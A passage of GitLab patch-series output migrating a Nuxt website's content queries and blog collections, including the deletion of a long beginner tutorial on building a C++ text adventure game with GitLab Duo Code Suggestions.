+++ b/components/templates/Common.vue
@@ -14,6 +14,7 @@ if (!pageContent.content) {
     message: `Page is missing the "content" attribute: ${path}`,
   });
 }
+
 const components = await useDynamicComponents(pageContent.content);
 </script>
 
diff --git a/scripts/validate_built_routes.sh b/scripts/validate_built_routes.sh
index 452dec31b..2ed278471 100644
--- a/scripts/validate_built_routes.sh
+++ b/scripts/validate_built_routes.sh
@@ -37,6 +37,12 @@ while IFS= read -r FILE; do
     continue
   fi
 
+  # Skip files with "database" in their path
+  if [[ "$FILE" == *database* ]]; then
+    echo "Skipping file: $FILE"
+    continue
+  fi
+
   # Allow blog pages dynamically
   if [[ "$FILE" == */blog/*/index.html ]]; then
     echo "Allowed blog page: $FILE"
-- 
GitLab


From f0845c621b97a25b60f205829ac1a0553ae90f97 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Feb 2025 14:23:53 -0500
Subject: [PATCH 07/56] update dev survey query api

---
 components/templates/DevSurveyLanding.vue | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/templates/DevSurveyLanding.vue b/components/templates/DevSurveyLanding.vue
index 20578ef71..ded6bfe9d 100644
--- a/components/templates/DevSurveyLanding.vue
+++ b/components/templates/DevSurveyLanding.vue
@@ -23,9 +23,10 @@ await Promise.all(
       section.subsections.map(async (subsection) => {
         if (subsection.config.resultsFile) {
           const resultsFilePath = `${basePath}${subsection.config.resultsFile}`;
-          const resultsData = await queryContent(resultsFilePath).findOne();
-
-          subsection.data = resultsData.data;
+          const resultsData = await queryCollection('shared')
+            .where('stem', '=', resultsFilePath)
+            .first();
+          subsection.data = resultsData.body.data;
         }
       }),
     );
-- 
GitLab


From eb5961a98fe3d66ea0fa8ad8c600f6bf6376ee28 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Tue, 25 Feb 2025 14:32:52 -0500
Subject: [PATCH 08/56] linting

---
 components/templates/DevSurveyLanding.vue | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/components/templates/DevSurveyLanding.vue b/components/templates/DevSurveyLanding.vue
index ded6bfe9d..cae7c2894 100644
--- a/components/templates/DevSurveyLanding.vue
+++ b/components/templates/DevSurveyLanding.vue
@@ -23,9 +23,7 @@ await Promise.all(
       section.subsections.map(async (subsection) => {
         if (subsection.config.resultsFile) {
           const resultsFilePath = `${basePath}${subsection.config.resultsFile}`;
-          const resultsData = await queryCollection('shared')
-            .where('stem', '=', resultsFilePath)
-            .first();
+          const resultsData = await queryCollection('shared').where('stem', '=', resultsFilePath).first();
           subsection.data = resultsData.body.data;
         }
       }),
-- 
GitLab


From b7b4aff4784db8ffeb33d7df17ea3e0772e95ad0 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 26 Feb 2025 09:42:14 -0500
Subject: [PATCH 09/56] Update some queries

---
 components/templates/BlogAuthor.vue | 20 ++++------
 composables/useGitlabContent.ts     |  3 +-
 content.config.ts                   | 58 ++++++++++++++---------------
 server/plugins/feed.ts              |  1 -
 4 files changed, 39 insertions(+), 43 deletions(-)

diff --git a/components/templates/BlogAuthor.vue b/components/templates/BlogAuthor.vue
index 3e54c6ff7..977423a90 100644
--- a/components/templates/BlogAuthor.vue
+++ b/components/templates/BlogAuthor.vue
@@ -20,19 +20,15 @@ const { content: authorPage } = defineProps({
 
 const { locale } = useI18n();
 
-const { data } = await useAsyncData(async () => {
-  const response = await queryContent(locale.value, '/blog')
-    .where({
-      'content.authors': { $contains: authorPage.name },
-    })
-    .sort({ 'content.date': -1 })
-    .find();
-  return {
-    allPosts: response,
-  };
-});
+const data = useAsyncData(() =>
+  queryCollection('pages')
+    .path(`${locale}/blog`)
+    .where('content.authors', 'IN', [authorPage.name])
+    .order('content.date', 'DESC')
+    .all()
+);
 
-allPosts.value = data.value?.allPosts || [];
+allPosts.value = data.value || [];
 totalPosts.value = allPosts.value.length;
 posts.value = allPosts.value.slice(0, limit);
 const meta = {
diff --git a/composables/useGitlabContent.ts b/composables/useGitlabContent.ts
index 9956c4fce..39a9a126c 100644
--- a/composables/useGitlabContent.ts
+++ b/composables/useGitlabContent.ts
@@ -11,7 +11,8 @@ export const useGitlabContent = async () => {
 
   const slug = `/${locale.value.toLowerCase()}/${params.slug ? params.slug.join('/') : ''}`;
 
-  const { data } = await useAsyncData(`${slug}`, () => queryCollection('pages').path(slug).first());
+  const collection = params.slug[0] === 'blog' ? 'blogPost' : 'pages';
+  const { data } = await useAsyncData(`${slug}`, () => queryCollection(collection).path(slug).first());
   const pageContent = data.value?.body;
 
   if (!pageContent) {
diff --git a/content.config.ts b/content.config.ts
index c4aa937aa..5705b5d07 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -14,41 +14,41 @@ export default defineContentConfig({
     }),
 
     // Blog Posts
-    // blogPosts: defineCollection({
-    //   type: 'page',
-    //   source: {
-    //     include: '**/blog/*.yml',
-    //     exclude: ['**/blog/authors/**', '**/blog/categories/**', '**/blog/tags/**'],
-    //     prefix: '/blog',
-    //   },
-    // }),
+    blogPosts: defineCollection({
+      type: 'page',
+      source: {
+        include: '**/blog/*.yml',
+        exclude: ['**/blog/authors/**', '**/blog/categories/**', '**/blog/tags/**'],
+        prefix: '/blog',
+      },
+    }),
 
     // Blog Authors
-    // blogAuthors: defineCollection({
-    //   type: 'page',
-    //   source: {
-    //     include: '**/blog/authors/*.yml',
-    //     prefix: '/blog/authors',
-    //   },
-    // }),
+    blogAuthors: defineCollection({
+      type: 'page',
+      source: {
+        include: '**/blog/authors/*.yml',
+        prefix: '/blog/authors',
+      },
+    }),
 
     // Blog Categories
-    // blogCategories: defineCollection({
-    //   type: 'page',
-    //   source: {
-    //     include: '**/blog/categories/*.yml',
-    //     prefix: '/blog/categories',
-    //   },
-    // }),
+    blogCategories: defineCollection({
+      type: 'page',
+      source: {
+        include: '**/blog/categories/*.yml',
+        prefix: '/blog/categories',
+      },
+    }),
 
     // Blog Tags
-    // blogTags: defineCollection({
-    //   type: 'page',
-    //   source: {
-    //     include: '**/blog/tags/*.yml',
-    //     prefix: '/blog/tags',
-    //   },
-    // }),
+    blogTags: defineCollection({
+      type: 'page',
+      source: {
+        include: '**/blog/tags/*.yml',
+        prefix: '/blog/tags',
+      },
+    }),
 
     shared: defineCollection({
       type: 'data',
diff --git a/server/plugins/feed.ts b/server/plugins/feed.ts
index b229eb0f9..02f59028c 100644
--- a/server/plugins/feed.ts
+++ b/server/plugins/feed.ts
@@ -1,5 +1,4 @@
 import type { Feed } from 'nuxt-module-feed';
-// import { queryCollection } from '#content/server';
 import { createEvent } from 'h3';
 import markdownIt from 'markdown-it';
 const md = markdownIt();
-- 
GitLab


From cc7faa3fce8e705748f8c89507a2f4cf36ca5034 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 26 Feb 2025 09:44:28 -0500
Subject: [PATCH 10/56] linting

---
 components/templates/BlogAuthor.vue | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/templates/BlogAuthor.vue b/components/templates/BlogAuthor.vue
index 977423a90..55c8c4235 100644
--- a/components/templates/BlogAuthor.vue
+++ b/components/templates/BlogAuthor.vue
@@ -25,7 +25,7 @@ const data = useAsyncData(() =>
     .path(`${locale}/blog`)
     .where('content.authors', 'IN', [authorPage.name])
     .order('content.date', 'DESC')
-    .all()
+    .all(),
 );
 
 allPosts.value = data.value || [];
-- 
GitLab


From ec5531d5b8980424e8cfe8d28d729d070ad892b2 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 26 Feb 2025 20:59:13 -0500
Subject: [PATCH 11/56] Temporarily remove blog posts over 50kb

---
 ...e-using-cplusplus-and-code-suggestions.yml | 1470 ---------------
 ...-hands-on-python-gitlab-api-automation.yml | 1669 -----------------
 .../blog/how-to-benchmark-security-tools.yml  |   47 -
 ...a-little-help-from-ai-code-suggestions.yml | 1647 ----------------
 ...a-little-help-from-ai-code-suggestions.yml | 1564 ---------------
 ...ng-privileges-in-google-cloud-platform.yml | 1545 ---------------
 ...wered-code-suggestions-with-gitlab-duo.yml |   49 -
 package.json                                  |    2 +-
 yarn.lock                                     |  164 +-
 9 files changed, 83 insertions(+), 8074 deletions(-)
 delete mode 100644 content/en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions.yml
 delete mode 100644 content/en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml
 delete mode 100644 content/en-us/blog/how-to-benchmark-security-tools.yml
 delete mode 100644 content/en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
 delete mode 100644 content/en-us/blog/learning-python-with-a-little-help-from-ai-code-suggestions.yml
 delete mode 100644 content/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml
 delete mode 100644 content/en-us/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo.yml

diff --git a/content/en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions.yml b/content/en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions.yml
deleted file mode 100644
index ce3b5e5ef..000000000
--- a/content/en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions.yml
+++ /dev/null
@@ -1,1470 +0,0 @@
-seo:
-  title: >-
-    Explore the Dragon Realm: Build a C++ adventure game with a little help from
-    AI
-  description: >-
-    How to use GitLab Duo Code Suggestions to create a text-based adventure
-    game, including magical locations to visit and items to procure, using C++.
-  ogTitle: >-
-    Explore the Dragon Realm: Build a C++ adventure game with a little help from
-    AI
-  ogDescription: >-
-    How to use GitLab Duo Code Suggestions to create a text-based adventure
-    game, including magical locations to visit and items to procure, using C++.
-  noIndex: false
-  ogImage: images/blog/hero-images/compassinfield.jpeg
-  ogUrl: >-
-    https://about.gitlab.com/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Explore the Dragon Realm: Build a C++ adventure game with a little help from AI",
-            "author": [{"@type":"Person","name":"Fatima Sarah Khalid"}],
-            "datePublished": "2023-08-24",
-          }
-
-content:
-  title: >-
-    Explore the Dragon Realm: Build a C++ adventure game with a little help from
-    AI
-  description: >-
-    How to use GitLab Duo Code Suggestions to create a text-based adventure
-    game, including magical locations to visit and items to procure, using C++.
-  authors:
-    - Fatima Sarah Khalid
-  heroImage: images/blog/hero-images/compassinfield.jpeg
-  date: '2023-08-24'
-  body: >
-
-    Learning, for me, has never been about reading a textbook or sitting in on a
-    lecture - it's been about experiencing and immersing myself in a hands-on
-    challenge. This is particulary true for new programming languages. With
-    [GitLab Duo Code Suggestions](https://about.gitlab.com/gitlab-duo/),
-    artificial intelligence (AI) becomes my interactive guide, providing an
-    environment for trial, error, and growth. In this tutorial, we will build a
-    text-based adventure game in C++ by using Code Suggestions to learn the
-    programming language along the way.
-
-
-    You can use this table of contents to navigate into each section. It is
-    recommended to read top-down for the best learning experience.
-
-
-    - [Setup](#setup)
-      - [Installing VS Code](#installing-vs-code)
-      - [Installing Clang as a compiler](#installing-clang-as-a-compiler)
-      - [Setting up VS Code](#setting-up-vs-code)
-    - [Getting started](#getting-started)
-      - [Compiling and running your program](#compiling-and-running-your-program)
-    - [Setting the text adventure stage](#setting-the-adventure-stage)
-
-    - [Defining the adventure: Variables](#defining-the-adventure-variables)
-
-    - [Crafting the adventure: Making decisions with
-    conditionals](#crafting-the-adventure-making-decisions-with-conditionals)
-
-    - [Structuring the narrative:
-    Characters](#structuring-the-narrative-characters)
-
-    - [Structuring the narrative: Items](#structuring-the-narrative-items)
-
-    - [Applying what we've learned at the Grand
-    Library](#applying-what-weve-learned-at-the-grand-library)
-
-    - [See you next time in the Dragon
-    Realm](#see-you-next-time-in-the-dragon-realm)
-
-    - [Share your feedback](#share-your-feedback)
-
-
-    > Download [GitLab Ultimate for free](https://about.gitlab.com/gitlab-duo/)
-    for a 30-day trial of GitLab Duo Code Suggestions.
-
-
-    ## Setup
-
-    You can follow this tutorial in your [preferred and supported
-    IDE](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-in-other-ides-and-editors).
-    Review the documentation to enable Code Suggestions for [GitLab.com
-    SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas)
-    or [GitLab self-managed
-    instances](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).
-
-
-    These installation instructions are for macOS Ventura on M1 Silicon. 
-
-
-    ### Installing VS Code
-
-
-    * Download and install [VS Code](https://code.visualstudio.com/download).
-
-    * Alternatively, you can also install it as a Homebrew cask: `brew install
-    --cask visual-studio-code`.
-
-
-    ### Installing Clang as a compiler
-
-
-    * On macOS, you'll need to install some developer tools. Open your terminal
-    and type:
-
-
-    ```
-
-    xcode-select --install
-
-    ```
-
-
-    This will prompt you to install Xcode's command line tools, which include
-    the [Clang C++ compiler](https://clang.llvm.org/get_started.html).
-
-
-    After the installation, you can check if `clang++` is installed by typing:
-
-
-    ```
-
-    clang++ --version
-
-    ```
-
-
-    You should see an output that includes some information about the Clang
-    version you have installed. 
-
-
-    ### Setting up VS Code
-
-
-    * Launch VS Code.
-
-    * Install and configure [the GitLab Workflow
-    extension](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow).
-
-    * Optionally, in VS Code, install the [C/C++ Intellisense
-    extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools),
-    which helps with debugging C/C++. 
-
-
-    ## Getting started
-
-    Now, let's start building this magical adventure with C++. We'll start with
-    a "Hello World" example.
-
-
-    Create a new project `learn-ai-cpp-adventure`. In the project root, create
-    `adventure.cpp`. The first part of every C++ program is the `main()`
-    function. It's the entry point of the program.
-
-
-    When you start writing `int main() {`, Code Suggestions will help
-    autocomplete the function with some default parameters.
-
-
-    ![adventure.cpp with a hello world implementation suggested by Code
-    Suggestions](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/0-helloworld.png){:
-    .shadow}
-
-
-    ```cpp
-
-    int main()
-
-    {
-        cout << "Hello World" << endl;
-        return 0;
-    }
-
-    ```
-
-
-    While this is a good place to start, we need to add an include and update
-    the output statement:
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        // Print "Hello World!" to the console
-        std::cout << "Hello World!" << std::endl;
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    The program prints "Hello World!" to the console when executed.
-
-
-    * `#include <iostream>`: Because we are building a text-based adventure, we
-    will rely on input from the player using input and output operations (I/O)
-    in C++. This include is a preprocessor directive that tells our program to
-    include the `iostream` library, which provides facilities to use input and
-    output streams, such as `std::cout` for output.
-
-
-    * You might find that Code Suggestions suggests `int main(int argc, char*
-    argv[])` as the definition of our main function. The parameters `(int argc,
-    char* argv[])` are used to pass command-line arguments to the program. Code
-    Suggestions added them as default parameters, but they are not needed if
-    you're not using command-line arguments. In that case, we can also define
-    the main function as `int main()`.
-
-
-    * `std::cout << "Hello World!" << std::endl;`: outputs "Hello World" to the
-    console. The stream operator `<<` is used to send the string to output.
-    `std::endl` is an end-line character.
-
-
-    * `return 0;`: we use `return 0;` to indicate the end of the `main()`
-    function and return a value of 0. In C++, it is good practice to return 0 to
-    indicate the program has completed successfully.
-
-
-    ### Compiling and running your program
-
-    Now that we have some code, let's review how we'll compile and run this
-    program. 
-
-    * Open your terminal or use the terminal in VSCode (View -> Terminal).
-
-    * Navigate to your project directory.
-
-    * Compile your program by typing:
-
-
-    ```bash
-
-    clang++ adventure.cpp -o adventure
-
-    ```
-
-
-    This command tells the Clang++ compiler to compile adventure.cpp and create
-    an executable named adventure. After this, run your program by typing:
-
-
-    ```
-
-    ./adventure
-
-    ```
-
-
-    You should see "Hello World!" printed in the terminal. 
-
-
-    Because our tutorial uses a single source file `adventure.cpp`, we can use
-    the compiler directly to build our program. In the future, if the program
-    grows beyond a file, we'll set up additional configurations to handle
-    compilation. 
-
-
-    ## Setting the text adventure stage
-
-    Before we get into more code, let's set the stage for our text adventure.
-
-
-    For this text adventure, players will explore the Dragon Realm. The Dragon
-    Realm is full of mountains, lakes, and magic. Our player will enter the
-    Dragon Realm for the first time, explore different locations, meet new
-    characters, collect magical items, and journal their adventure. At every
-    location, they will be offered choices to decide the course of their
-    journey.
-
-
-    To kick off our adventure into the Dragon Realm, let's update our
-    `adventure.cpp main()` function to be more specific. As you update the
-    welcome message, you might find that Code Suggestions already knows we're
-    building a game.
-
-
-    ![adventure.cpp - Code Suggestions offers suggestion of welcoming users to
-    the Dragon Realm and knows its a
-    game](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/1-welcome-to-the-realm.png){:
-    .shadow}
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        // Print "Hello World!" to the console
-        std::cout << "Welcome to the Dragon Realm!" << std::endl;
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    ## Defining the adventure: Variables
-
-    A variable stores data that can be used throughout the program scope in the
-    `main()` function. A variable is defined by a type, which indicates the kind
-    of data it can hold.
-
-
-    Let's create a variable to hold our player's name and give it the type
-    `string`. A `string` is designed to hold a sequence of characters so it's
-    perfect for storing our player's name.
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        // Print "Hello World!" to the console
-        std::cout << "Welcome to the Dragon Realm!" << std::endl;
-
-        // Declare a string variable to hold the player's name
-        std::string playerName;
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    As you do this, you may notice that Code Suggestions knows what's coming
-    next - prompting the user for their player's name.
-
-
-    ![adventure.cpp - Code Suggestions suggests welcoming the player with the
-    playerName
-    variable](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/2-player-name-variable.png){:
-    .shadow}
-
-
-    We may be able to get more complete and specific Code Suggestions by
-    providing comments about what we'd like to do with the name - personally
-    welcome the player to the game. Start by adding our plan of action in
-    comments.
-
-
-    ```cpp
-        // Declare a string variable to hold the player's name
-        std::string playerName;
-
-        // Prompt the user to enter their player name
-
-        // Display a personalized welcome message to the player with their name
-    ```
-
-
-    To capture the player's name from input, we need to use the `std::cin`
-    object from the `iostream` library to fetch input from the player using the
-    extraction operator `>>`. If you start typing `std::` to start prompting the
-    user, Code Suggestions will make some suggestions to help you gather user
-    input and save it to our `playerName` variable.
-
-
-    ![adventure.cpp - Code Suggestions prompts the user to input their player
-    name](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/2.1-player-name-input.png){:
-    .shadow}
-
-
-    Next, to welcome our player personally to the game, we want to use
-    `std::cout` and the `playerName` variable together:
-
-
-    ```cpp
-        // Declare a string variable to store the player name
-        std::string playerName;
-
-        // Prompt the user to enter their player name
-        std::cout << "Please enter your name: ";
-        std::cin >> playerName;
-
-        // Display a personalized welcome message to the player with their name
-        std::cout << "Welcome " << playerName << " to The Dragon Realm!" << std::endl;
-    ```
-
-
-    ## Crafting the adventure: Making decisions with conditionals
-
-    It's time to introduce our player to the different locations in tbe Dragon
-    Realm they can visit. To prompt our player with choices, we use
-    conditionals. Conditionals allow programs to take different actions based on
-    criteria, such as user input.
-
-
-    Let's offer the player a selection of locations to visit and capture their
-    choice as an `int` value that corresponds to the location they picked.
-
-
-    ```cpp
-
-    // Display a personalized welcome message to the player with their name
-
-    std::cout << "Welcome " << playerName << " to The Dragon Realm!" <<
-    std::endl;
-
-
-    // Declare an int variable to capture the user's choice
-
-    int choice;
-
-    ```
-
-
-    Then, we want to offer the player the different locations that are possible
-    for that choice. Let's start with a comment and prompt Code Suggestions with
-    `std::cout` to fill out the details for us.
-
-
-    ![adventure.cpp - Code Suggestions suggests a multiline output for all the
-    locations listed in the code
-    below](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3-setup-location-choice.png){:
-    .shadow}
-
-
-    As you accept the suggestions, Code Suggestions will help build out the
-    output and ask the player for their input.
-
-
-    ![adventure.cpp - Code Suggestions suggests a multiline output for all the
-    locations listed in the code below and asks for player
-    input](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.1-capture-player-location-choice.png){:
-    .shadow}
-
-
-    ```cpp
-        // Declare an int variable to capture the user's choice
-        int choice;
-
-        // Offer the player a choice of 3 locations: 1 for Moonlight Markets, 2 for Grand Library, and 3 for Shimmer Lake.
-        std::cout << "Where will " << playerName << " go?" << std::endl;
-        std::cout << "1. Moonlight Markets" << std::endl;
-        std::cout << "2. Grand Library" << std::endl;
-        std::cout << "3. Shimmer Lake" << std::endl;
-        std::cout << "Please enter your choice: ";
-        std::cin >> choice;
-    ```
-
-
-    Once you start typing `std::cin >>` or accept the prompt for asking the
-    player for their choice, Code Suggestions might offer a suggestion for
-    building out your conditional flow. AI is non-deterministic: One suggestion
-    can involve if/else statements while another solution uses a switch
-    statement.
-
-
-    To give Code Suggestions a nudge, we'll add a comment and start typing out
-    an if statement: `if (choice ==)`.
-
-
-    ![adventure.cpp - Code Suggestions suggests using an if statement to manage
-    choice of
-    locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.2-if-statement-locations.png){:
-    .shadow}
-
-
-    And if you keep accepting the subsequent suggestions, Code Suggestions will
-    autocomplete the code using if/else statements.
-
-
-    ![adventure.cpp - Code Suggestions helps the user fill out the rest of the
-    if/else statements for choosing a
-    location](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.2.1-if-statement-locations-continued.png){:
-    .shadow}
-
-
-    ```cpp
-        // Check the user's choice and display the corresponding messages
-        if (choice == 1) {
-            std::cout << "You chose Moonlight Markets" << std::endl;
-        }
-        else if (choice == 2) {
-            std::cout << "You chose Grand Library" << std::endl;
-        }
-        else if (choice == 3) {
-            std::cout << "You chose Shimmer Lake" << std::endl;
-        }
-        else {
-            std::cout << "Invalid choice" << std::endl;
-        }
-    ```
-
-
-    `if/else` is a conditional statement that allows a program to execute code
-    based on whether a condition, in this case the player's choice, is true or
-    false. If the condition evaluates to true, the code inside the braces is
-    executed.
-
-
-    * `if (condition)`: used to check if the condition is true.
-
-    * `else if (another condition)`: if the previous condition isn't true, the
-    programs checks this condition.
-
-    * `else`: if none of the previous conditions are true.
-
-
-    Another way of managing multiple choices like this example is using a
-    `switch()` statement. A `switch` statement allows our program to jump to
-    different sections of code based on the value of an expression, which, in
-    this case, is the value of `choice`.
-
-
-    We are going to replace our `if/else` statements with a `switch` statement.
-    You can comment out or delete the `if/else` statements and prompt Code
-    Suggestions starting with `switch(choice) {`.
-
-
-    ![adventure.cpp - Code Suggestions helps the user handle the switch
-    statement for the
-    locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.3-conditional-switch-locations.png){:
-    .shadow}
-
-
-    ![adventure.cpp - Code Suggestions helps the user handle the switch
-    statement for the
-    locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.3.1-conditional-switch-locations-continued.png){:
-    .shadow}
-
-
-    ```cpp
-        // Evaluate the player's decision
-        switch(choice) {
-            // If 'choice' is 1, this block is executed.
-            case 1:
-                std::cout << "You chose Moonlight Markets." << std::endl;
-                break;
-            // If 'choice' is 2, this block is executed.
-            case 2:
-                std::cout << "You chose Grand Library." << std::endl;
-                break;
-            // If 'choice' is 3, this block is executed.
-            case 3:
-                std::cout << "You chose Shimmer Lake." << std::endl;
-                break;
-            // If 'choice' is not 1, 2, or 3, this block is executed.
-            default:
-                std::cout << "You did not enter 1, 2, or 3." << std::endl;
-        }
-    ```
-
-
-    Each case represents a potential value that the variable or expression being
-    switched on (in this case, choice) could have. If a match is found, the code
-    for that case is executed. We use the `default` case to handle any input
-    errors in case the player enters a value that isn't accounted for.
-
-
-    Let's build out what happens when our player visits the Shimmering Lake.
-    I've added some comments after the player's arrival at Shimmering Lake to
-    prompt Code Suggestions to help us build this out:
-
-
-    ```cpp
-        // If 'choice' is 3, this block is executed.
-        case 3:
-            std::cout << "You chose Shimmering Lake." << std::endl;
-            // The player arrives at Shimmering Lake. It is one of the most beautiful lakes the player has ever seen.
-            // The player hears a mysterious melody from the water.
-            // They can either 1. Stay quiet and listen, or 2. Sing along with the melody.
-
-            break;
-    ```
-
-
-    Now, if you start writing `std::cout` to begin offering the player this new
-    decision point, Code Suggestions will help fill out the output code.
-
-
-    ![adventure.cpp - Code Suggestions helps fill out the output code based on
-    the comments about the interaction at the
-    Lake](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4-case-3-output.png){:
-    .shadow}
-
-
-    You might find that the code provided by Code Suggestions is very
-    declarative. Once I've accepted the suggestion, I personalize the code as
-    needed. For example in this case, including the melody the player heard and
-    using the player's name instead of "you":
-
-
-    ![adventure.cpp - I added the playerName to the output and then prompted
-    Code Suggestions to continue the narrative based on the comments
-    above](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.1-customizing-output.png){:
-    .shadow}
-
-
-    I also wanted Code Suggestions to offer suggestions in a specific format, so
-    I added an end line:
-
-
-    ![adventure.cpp - I added an end line to prompt Code Suggestions to break
-    the choices into end line
-    outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.2-customizing-output-endline.png){:
-    .shadow}
-
-
-    ![adventure.cpp - I added an endline to prompt Code Suggestions to break the
-    choices into end line
-    outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.3-sub-choices-output.png){:
-    .shadow}
-
-
-    Now, we'd like to offer our player a nested choice in this scenario. Before
-    we can define the new choices, we need a variable to store this nested
-    choice. Let's define a new variable `int nestedChoice` in our `main()`
-    function, outside of the `switch()` statement we set up. You can put it
-    after our definition of the `choice` variable.
-
-
-    ```cpp
-        // Declare an int variable to capture the user's choice
-        int choice;
-        // Declare an int variable to capture the user's nested choice
-        int nestedChoice;
-    ```
-
-
-    Next, returning to the `if/else` statement we were working on in `case 3`,
-    we want to prompt the player for their decision and save it in
-    `nestedChoice`.
-
-
-    ![adventure.cpp - I added an end line to prompt Code Suggestions to break
-    the choices into end line
-    outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.4-capture-nested-choice.png){:
-    .shadow}
-
-
-    As you can see, Code Suggestions wants to go ahead and handle the user's
-    choice using another `switch` statement. I would prefer to use an `if/else`
-    statement to handle this decision point.
-
-
-    First, let's add some comments to give context:
-
-
-    ```cpp
-        // Capture the user's nested choice
-        std::cin >> nestedChoice;
-
-        // If the player chooses 1 and remains silent, they hear whispers of the merfolk below, but nothing happens.
-        // If the player chooses 2 and sings along, a merfolk surfaces and gifts them a special blue gem as a token of appreciation for their voice.
-
-        // Evaluate the user's nestedChoice
-    ```
-
-
-    Then, start typing `if (nestedChoice == 1)` and Code Suggestions will start
-    to offer suggestions:
-
-
-    ![adventure.cpp - Code Suggestions starts to build out an if statement to
-    handle the
-    nestedChoice](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.5-nested-choice-if.png){:
-    .shadow}
-
-
-    If you tab to accept them, Code Suggestions will continue to fill out the
-    rest of the nested `if/else` statements.
-
-
-    ![adventure.cpp - Code Suggestions completes the nested ifelse to handle the
-    nestedChoice at the
-    Lake](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.5.1-nested-choice-if.png){:
-    .shadow}
-
-
-    Sometimes, while you're customizing the suggestions that Code Suggestions
-    gives, you may even discover that it would like to make creative
-    suggestions, too!
-
-
-    ![adventure.cpp - Code Suggestions makes a creative suggestion to end the
-    interaction with the merfolk by saying "You are now free to go" after you
-    receive the
-    gem.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.5.2-nested-cs-creative-suggestion.png){:
-    .shadow}
-
-
-    Here's the code for `case 3` for the player's interaction at Shimmering Lake
-    with the nested decision. I've updated some of the narrative dialogue
-    player's name.
-
-    ```
-        // Handle the Shimmering Lake scenario.
-        case 3:
-            std::cout << playerName << " arrives at Shimmering Lake. It is one of the most beautiful lakes that" << playerName << " has seen. They hear a mysterious melody from the water. They can either: " << std::endl;
-            std::cout << "1. Stay quiet and listen" << std::endl;
-            std::cout << "2. Sing along with the melody" << std::endl;
-            std::cout << "Please enter your choice: ";
-
-            // Capture the user's nested choice
-            std::cin >> nestedChoice;
-
-            // If the player chooses to remain silent
-            if (nestedChoice == 1)
-            {
-                std::cout << "Remaining silent, " << playerName << " hears whispers of the merfolk below, but nothing happens." << std::endl;
-            }
-            // If the player chooses to sing along with the melody
-            else if (nestedChoice == 2)
-            {
